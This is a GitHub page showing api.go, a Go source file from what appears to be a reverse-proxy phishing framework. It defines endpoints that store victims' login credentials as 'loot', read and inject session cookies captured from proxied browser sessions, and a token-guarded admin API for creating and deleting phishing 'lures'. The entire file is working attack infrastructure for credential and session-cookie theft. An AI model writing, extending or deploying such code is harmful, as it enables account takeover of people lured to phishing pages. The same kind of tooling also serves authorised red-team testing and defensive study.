-
Notifications
You must be signed in to change notification settings - Fork 8
/
api.go
151 lines (139 loc) · 3.84 KB
/
api.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
package main
import (
"net/http"
"net/url"
"strings"
"github.com/gofiber/fiber/v2"
"github.com/gofiber/fiber/v2/middleware/cors"
"github.com/gofiber/fiber/v2/utils"
"github.com/rs/zerolog"
"github.com/valyala/fasthttp"
"go.uber.org/multierr"
)
type APIConfig struct {
// Hostname for API endpoints
APIHostname string
// API token for admin REST API
APIToken string
// DomainConverter used to convert proxy domain to target original domain
DomainConverter DomainConverter
// AuthHandler for cookies endpoints
AuthHandler fiber.Handler
// LootService to save login creds
LootService LootService
// LureService to admin lures
LureService LureService
// CookieSaver to save cookies set from browsers
CookieSaver CookieSaver
}
func NewAPIMiddleware(log *zerolog.Logger, conf APIConfig) fiber.Handler {
m := &apiMiddleware{APIConfig: &conf, log: log}
api := fiber.New()
api.Use(cors.New(cors.Config{
AllowCredentials: true,
}))
tokenAuth := func(c *fiber.Ctx) error {
if m.APIToken != c.Get("X-API-Token") {
return c.SendStatus(fiber.StatusForbidden)
}
return c.Next()
}
api.Post("/login", conf.AuthHandler, func(c *fiber.Ctx) (err error) {
return m.SaveCreds(c)
})
api.Get("/cookies", conf.AuthHandler, func(c *fiber.Ctx) error {
return m.GetCookies(c)
})
api.Post("/cookies", conf.AuthHandler, func(c *fiber.Ctx) error {
return m.CreateCookie(c)
})
// admin REST API
luresAPI := api.Group("/lures", tokenAuth)
luresAPI.Get("", func(c *fiber.Ctx) error {
return m.GetLures(c)
})
luresAPI.Post("", func(c *fiber.Ctx) error {
return m.CreateLure(c)
})
luresAPI.Delete("/:lureURL", func(c *fiber.Ctx) error {
lureURL, err := url.QueryUnescape(c.Params("lureURL"))
if err != nil {
return err
}
return m.DeleteLure(lureURL)
})
apiHandler := api.Handler()
return func(c *fiber.Ctx) error {
if c.Hostname() != conf.APIHostname {
return c.Next()
}
apiHandler(c.Context())
return nil
}
}
type apiMiddleware struct {
*APIConfig
log *zerolog.Logger
}
func (m *apiMiddleware) GetCookies(c *fiber.Ctx) error {
destURL, err := m.getOrigin(c)
if err != nil {
return err
}
cookieJar := getProxySession(c).CookieJar()
cookies := cookieJar.Cookies(destURL)
cookieStr := make([]string, 0, len(cookies))
for _, cookie := range cookies {
cookieStr = append(cookieStr, cookie.String())
}
return c.SendString(strings.Join(cookieStr, "; "))
}
func (m *apiMiddleware) CreateCookie(c *fiber.Ctx) error {
destURL, err := m.getOrigin(c)
if err != nil {
return err
}
cookie := &fasthttp.Cookie{}
if err := cookie.ParseBytes(c.Body()); err != nil {
return err
}
// TODO convert cookie domain
newCookie := &http.Cookie{
Name: utils.UnsafeString(cookie.Key()),
Value: utils.UnsafeString(cookie.Value()),
Path: utils.UnsafeString(cookie.Path()),
Domain: utils.UnsafeString(cookie.Domain()),
Expires: cookie.Expire(),
MaxAge: cookie.MaxAge(),
Secure: cookie.Secure(),
HttpOnly: cookie.HTTPOnly(),
}
return m.CookieSaver.SaveCookies(c, destURL, []*http.Cookie{newCookie})
}
func (m *apiMiddleware) GetLures(c *fiber.Ctx) error {
lures, err := m.LureService.GetAll()
return multierr.Append(err, c.JSON(lures))
}
func (m *apiMiddleware) CreateLure(c *fiber.Ctx) (err error) {
var lure APILure
if err = c.BodyParser(&lure); err != nil {
return
}
return m.LureService.Add(&lure)
}
func (m *apiMiddleware) DeleteLure(lureURL string) error {
return m.LureService.DeleteByURL(lureURL)
}
func (m *apiMiddleware) getOrigin(c *fiber.Ctx) (destURL *url.URL, err error) {
origin := m.DomainConverter.ToTargetURL(c.Get("Origin"))
destURL, err = url.Parse(origin)
return
}
func (m *apiMiddleware) SaveCreds(c *fiber.Ctx) (err error) {
var info APILoginInfo
if err = c.BodyParser(&info); err != nil {
return
}
m.log.Info().Any("loginInfo", &info).Msg("save creds")
return m.LootService.SaveCreds(c, &info)
}